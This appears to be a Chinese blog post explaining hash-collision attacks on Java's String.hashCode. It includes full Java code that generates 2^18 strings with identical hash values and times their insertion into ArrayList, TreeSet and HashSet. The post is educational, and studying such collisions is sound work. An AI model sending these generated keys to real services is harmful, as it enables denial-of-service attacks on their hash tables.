最近开始学Java，就顺便研究了下Java下的哈希冲突攻击，发现它的String类存在明显可用的攻击方法，就干脆测试了一下，下面简单介绍一下。
Hash冲突的原理其实很简单，当使用Hash表实现的集合来存储元素时（如Java的HashSet、HashMap，C++的unordered_set、unordered_map等），不必可免的会造成多个元素的Hash值相同，即出现冲突，当发生冲突时，有多种方法来进行处理，如线性探测再散列、二次探测再散列、再哈希和链地址法等等。其中用的最多的处理方法是链地址法，如图1所示。
链地址法将Hash值相同的元素用链表连接起来。至于为什么这种冲突处理方法用的最多，设装填因子a=哈希表已有元素数/哈希表长度，则每次查找成功时，平均查找长度如下：
画下函数图像可以发现链地址法的平均查找长度是最小的。
使用Hash表作为存储元素的集合时，必须用到Hash函数，我们希望Hash函数能将各个元素哈希后的值分布尽可能均匀，这样查找速度才快，而Hash冲突攻击的原理就是根据Hash函数，构造大量具有相同Hash值的元素，将其插入至表中，使得Hash表最终退化成一个单链表。
而Java中的String类的hashcode函数写得十分简单，它的计算公式为（其中s即为字符串）：
这个函数实际上就是BKDR Hash函数，其中的因子31也可以换成13，131等等……
但对于这种Hash函数，可以使用“相等子串法”来构造哈希值相同的大量元素。使用“相等子串法”的Hash函数必须满足如下条件：若两个不同字符串的哈希值相同，即有f(str1) == f(str2)，则必有f(prefix + str1 + suffix) == f(prefix + str2 + suffix)，即在str1和str2的前后放置相同的字符串后，所得新的两个字符串的哈希值仍然相等。而BKDR Hash就满足这种性质。
例如“Af”和“BG”哈希值相同，则有“AfAf”，“AfBG”，“BGAf”，“BGBG”的哈希值也相同。
下面这段代码是演示String类的Hash冲突，其生成了2^18个具有相同Hash值的字符串，并将其依次拷贝到ArrayList，TreeSet和HashSet集合中，理论上若元素随机的话，应该速度顺序是ArrayList > HashSet > TreeSet，但由于Hash冲突，实际拷贝时三者的时间复杂度会变成O(n),O(nlogn)和O(n^2)，即HashSet变成最慢。
我这的测试环境为：CPU i5 4570，内存8G，Win7 x64，JDK7u45，IntelliJ IDEA 13。
测试结果为：ArrayList耗时1ms，TreeSet为121ms，而HashSet则需604071ms。Hash冲突攻击成功。
测试代码如下所示（初写Java，请无视我写得太渣吧…）。
public class Demo {
public static void main(String[] args) {
ArrayList<String> arrRet = new ArrayList<String>();
StrCollide col = new StrCollide();
col.Generate(arrRet, 18);
// 测试速度
Date begTime = new Date();
ArrayList<String> ArrCandidate = new ArrayList<String>(arrRet);
Date endTime = new Date();
System.out.println("The Time of ArrayList insertion is : " + (endTime.getTime() - begTime.getTime()));
begTime = new Date();
TreeSet<String> TreeCandidate = new TreeSet<String>(arrRet);
endTime = new Date();
System.out.println("The Time of TreeSet insertion is : " + (endTime.getTime() - begTime.getTime()));
begTime = new Date();
HashSet<String> HashCandidate = new HashSet<String>(arrRet);
endTime = new Date();
System.out.println("The Time of HashSet insertion is : " + (endTime.getTime() - begTime.getTime()));
}
}
class StrCollide {
/**
* @param Set 存储具有相同HashCode值的String变量
* @param n 集合内元素个数，单位为幂
* @return 操作是否成功
* @description 为String变量构造Hash冲突，并将结果存储在集合中
**/
public boolean Generate(Collection<String> Set, int n) {
if (Set == null || n < 1)
return false;
// 寻找两个Hash值相同的String
Set.clear();
ArrayList<String> ArrPair = FindColPair();
if (ArrPair != null && ArrPair.size() >= 2) {
for(int iNum = 0; iNum < Math.pow(2, n); ++iNum) {
String strTmp = Integer.toBinaryString(iNum);
strTmp = String.format("%0" + n + "d", new BigInteger(strTmp, 10));
strTmp = strTmp.replaceAll("0", ArrPair.get(0));
strTmp = strTmp.replaceAll("1", ArrPair.get(1));
Set.add(strTmp);
}
return true;
}
return false;
}
/**
* description 寻找最初的两个Hash值相同的String变量 *
* @return 存储这两个String的集合
**/
private ArrayList<String> FindColPair() {
ArrayList<String> ArrRet = new ArrayList<String>();
HashMap<Integer, String> mapTmp_ori = new HashMap<Integer, String>();
HashMap<Integer, String> mapTmp_add = new HashMap<Integer, String>();
mapTmp_ori.put(0, "");
while (true) {
// 遍历源集合
mapTmp_add.clear();
mapTmp_add.putAll(mapTmp_ori);
for(Map.Entry<Integer, String> elem : mapTmp_ori.entrySet()) {
for(char ch = 48; ch <= 122; ++ch) {
// 48-122是数字到字母的ASCII码范围
if(Character.isLetter(ch)) {
String strTmp = ch + elem.getValue();
int hCode = strTmp.hashCode();
if(mapTmp_add.get(hCode) != null && !mapTmp_add.get(hCode).equals(strTmp)) {
// 找到Hash值相同的两个String
ArrRet.add(strTmp);
ArrRet.add(mapTmp_add.get(hCode));
return ArrRet;
} mapTmp_add.put(hCode, strTmp);
}
}
}
mapTmp_add.remove(0);
// 交换两个集合
HashMap<Integer, String> tmp = mapTmp_ori;
mapTmp_ori = mapTmp_add;
mapTmp_add = tmp;
}
}
}